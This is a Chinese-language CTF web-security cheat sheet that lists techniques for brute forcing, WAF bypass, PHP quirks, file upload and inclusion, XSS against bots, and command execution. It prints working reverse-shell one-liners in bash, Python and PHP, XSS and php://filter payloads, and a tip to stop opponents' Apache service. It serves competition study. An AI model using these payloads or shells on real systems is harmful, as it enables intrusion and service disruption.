实战几次CTF发现,不管是不是新人,至少得有个条理,因为web安全的类型太杂,可能太多,纯靠自己记忆或者现场查等于送命. 所以有个好的大致的思路整理,一个个去排查是非常必要的.
这里引用了tim的一个文档,因为出处未知..先留自己比赛备用吧. 文档地址
总结
一、爆破,包括包括md5、爆破随机数、验证码识别等
二、绕WAF,包括花式绕Mysql、绕文件读取关键词检测之类拦截
三、花式玩弄几个PHP特性,包括弱类型,strpos和===,反序列化+destruct、\0截断、iconv截断、
四、密码题,包括hash长度扩展、异或、移位加密各种变形、32位随机数过小
五、各种找源码技巧,包括git、svn、xxx.php.swp、www.(zip|tar.gz|rar|7z)、xxx.php.bak、
六、文件上传,包括花式文件后缀 .php345 .inc .phtml .phpt .phps、各种文件内容检测<?php <? <% 先看日志来判断攻击位置。
一般bot都不会失灵,不要心存侥幸,如果可以联系到比赛方,第一时间问bot是不是失灵,如果不能,再打10遍马上换payload。(bot是? 机器?)
判断出self-xss 一般都会有另外一个过滤比较严格或者长度限制的存储型的xss,想办法构造一个自动提交的form来使得bot self-xss。
注意如果看到 session是httponly的,就不能通过document.cookie获取cookie,一般都是要构造payload让bot读取其他页面的内容然后返回。
不要轻易相信网上流传的在线XSS平台。
只要不过滤eval,就不要慌,String.fromCharCode稳的。
限制长度要考虑分发payload。
iframe相当于创建另外一个window,可以使用window.name进行通讯,且不受当前window的沙盒过滤影响
子域名可以通过document.domain修改为父域名
父域下,可以使用document.cookie = ‘username=aaa;domain=.government.vip; path=/‘;修改子域下的cookie
关于ajax上传文件
<svg id=\ onload=location=id+id+12345609861+domain+id+1234+id
http://52.80.19.55/user.php/69/0/..%2f..%2f..%2fclasses.php/0 %2f在服务端会解析成/,在浏览器就不做解析,整个当成一个目录。
iframe姿势
1
<iframe srcdoc="<img src=x onerror='alert(1);'>">
更多相关姿势 https://html5sec.org/
js执行顺序的问题,执行顺序较后的js即使出现了语法错误,较前的js也可正常执行。
文件包含/文件上传
.user.ini 搭配 图片或其他
.htaccess
php://filter/read=convert.base64-encode/resource=files/images/xxx/resource=files/xxx
php3 php5 phtml
zip协议,phar协议
%00截断只适合php5.3及以前
mt_rand() 可以爆破seed进行预测 工具是 php_mt_seed
通过php文件包含自己可以造成死循环,此前tmp下生成的临时文件不被删除,可以爆破tmp文件结合文件包含当成webshell
利用phpinfo查看session文件在tmp下的文件名,再迅速的利用文件包含,即可成为webshell
file_put_contents第二个参数可以为一维数组,输出时是将数组的元素进行拼接。
在return 中可以执行命令,利用”${phpinfo()}” 这样形式的,在return之前会优先执行解析
windows关于php读取文件函数的文件匹配很有趣。常见的可以用<<>等字符进行通配
命令执行
弹shell
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
python -c ‘import
socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1”,1234));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call([“/bin/sh”,”-i”]);’
php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’
利用管道命令和base64绕过过滤
curl利用{}或[]可同时获取多条url的内容
http://blog.csdn.net/huangxy10/article/details/45717793
shell中括号的姿势
http://blog.csdn.net/zhuanshenweiliu/article/details/46544991
linux命令中间可以用两个单引号截断,绕过某些waf
- 等号赋值两边不能有空格
- 命令与选项之间需要空格
- 管道两边空格可有可无
xdebug xdebug.remote_connect_back选项为1时,可以进行远程调试,从而执行任意php函数
https://ricterz.me/posts/Xdebug%3A%20A%20Tiny%20Attack%20Surface
- curl_setopt($curl, CURLOPT_POSTFIELDS, $post_data); $post_data 可以是@+文件名,从而实现post的内容是文件内容
0x04. CVE
关注最近的CVE,就算不出关于CVE的题,万一能直接getshell呢?
exploitdb直接查你比较怀疑的关键词,可以迅速锁定(貌似它的搜索功能还挺好用的?
上传png图片发现会被转成bmp,可以猜测是imagemagick漏洞。
看到邮件系统,可以猜测是PHPMailer漏洞,phpmailer在处理时是一个比较高的权限。
0x05. POC编写
密码学
CBC翻转攻击
密钥有时需要猜解,请转向社会工程
工具
nmap指定端口范围扫描 nmap -sT -Pn target -p(start)-(end)
sqlmap tamper的合理利用
AWVS尽量少用吧
社会工程
弱口令 不要质疑自己任何的无厘头想法
域名信息查询一定仔细看每一个重要信息
心态
充满信心,胜利或许就只差一小步
不能放弃,一定要把所有情况都试至少3遍
比赛结果是次要的,要享受解题的过程
按时吃饭
如果思路断掉了,不妨回归最开始,有时候就是漏了一个条件
猥琐小技巧
发现运维现场改代码,疯狂扫.swp
搅屎循环:service apache2 stop
其他
content-type看到 xml或json,就要考虑到可能是XXE
反序列化找不到可控的类可以从php扩展插件或内置类上寻找突破口